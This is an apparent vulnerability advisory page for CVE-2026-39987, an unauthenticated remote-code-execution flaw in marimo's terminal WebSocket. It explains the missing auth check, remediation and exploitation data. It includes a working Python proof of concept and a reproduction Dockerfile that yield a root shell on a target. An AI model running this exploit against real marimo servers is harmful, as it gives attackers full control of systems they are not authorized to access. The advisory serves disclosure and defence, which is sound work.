Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
CISA KEV · ACTIVELY EXPLOITED

CVE-2026-39987 — marimo

Fix: marimo-team/marimo@c24d480

CVE-2026-39987 is a Missing Authentication vulnerability in marimo. It is in CISA's Known Exploited Vulnerabilities catalog (added 2026-04-23) — treat it as actively exploited and patch now. A fix is available for marimo — see the affected versions and patch details below.

marimo Affected by Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass

Also known asGHSA-2679-6mx9-h9xcPYSEC-2026-407
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
2 known
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, CISA KEV, FIRST.org (EPSS)

Exploitation Status

Actively exploited in the wild

  • Confirmed by CISA's Known Exploited Vulnerabilities catalog on 2026-04-23. Federal agencies were required to remediate by 2026-05-07.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA (KEV catalog and SSVC triage) for CVE-2026-39987.

EPSS Exploitation Probability

via FIRST.org ↗
37.9%probability of exploitation in next 30 days
Moderate Risk0.00%
Lower risk than most CVEs99th percentile — riskier than 99% of all scored CVEsHighest risk
20.0%46.7%73.3%100.0%56.1%37.9%May 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍marimo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.

Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.

Affected Versions

Marimo <= 0.20.4

Vulnerability Details

Root Cause: Terminal WebSocket Missing Authentication

marimo/_server/api/endpoints/terminal.py lines 340-356:

@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # No authentication check!
    await websocket.accept()  # Accepts connection directly
    # ...
    child_pid, fd = pty.fork()  # Creates PTY shell

Compare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):

@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    validator = WebSocketConnectionValidator(websocket, app_state)
    if not await validator.validate_auth():  # Correct auth check
        return

Authentication Middleware Limitation

Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate_auth() calls.

The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validate_auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.

Attack Chain

  1. WebSocket connect to ws://TARGET:2718/terminal/ws (no auth needed)
  2. websocket.accept() accepts the connection directly
  3. pty.fork() creates a PTY child process
  4. Full interactive shell with arbitrary command execution
  5. Commands run as root in default Docker deployments

A single WebSocket connection yields a complete interactive shell.

Proof of Concept

import websocket
import time

# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)

# Drain initial output
try:
    while True:
        ws.settimeout(1)
        ws.recv()
except:
    pass

# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv())  # uid=0(root) gid=0(root) groups=0(root)
ws.close()

Reproduction Environment

FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]

Reproduction Result

With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:

$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3

Suggested Remediation

  1. Add authentication validation to /terminal/ws endpoint, consistent with /ws using WebSocketConnectionValidator.validate_auth()
  2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints
  3. Terminal functionality should only be available when explicitly enabled, not on by default

Impact

An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImarimoall versions0.23.0pip install --upgrade 'marimo==0.23.0'

Affected Products

1 product · 1 configurations
Application
marimocoreweave
< 0.23.0
range
Exploits & PoCs
2

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

EDB-52673webappsmultiple

Marimo 0.20.4 - RCE

by Jason Bernier · Sep 2, 2026

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for marimo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update marimo to 0.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-39987 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

## Summary Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. ## Affected Versions Marimo <= 0.20.4 ## Vulnerability Details ### Root Cause: Ter
O3 Security · Impact-Aware SCA

Is CVE-2026-39987 in your dependencies?

Find it across PyPI, including transitive dependencies.

Actively Exploited: CVE-2026-39987: marimo RCE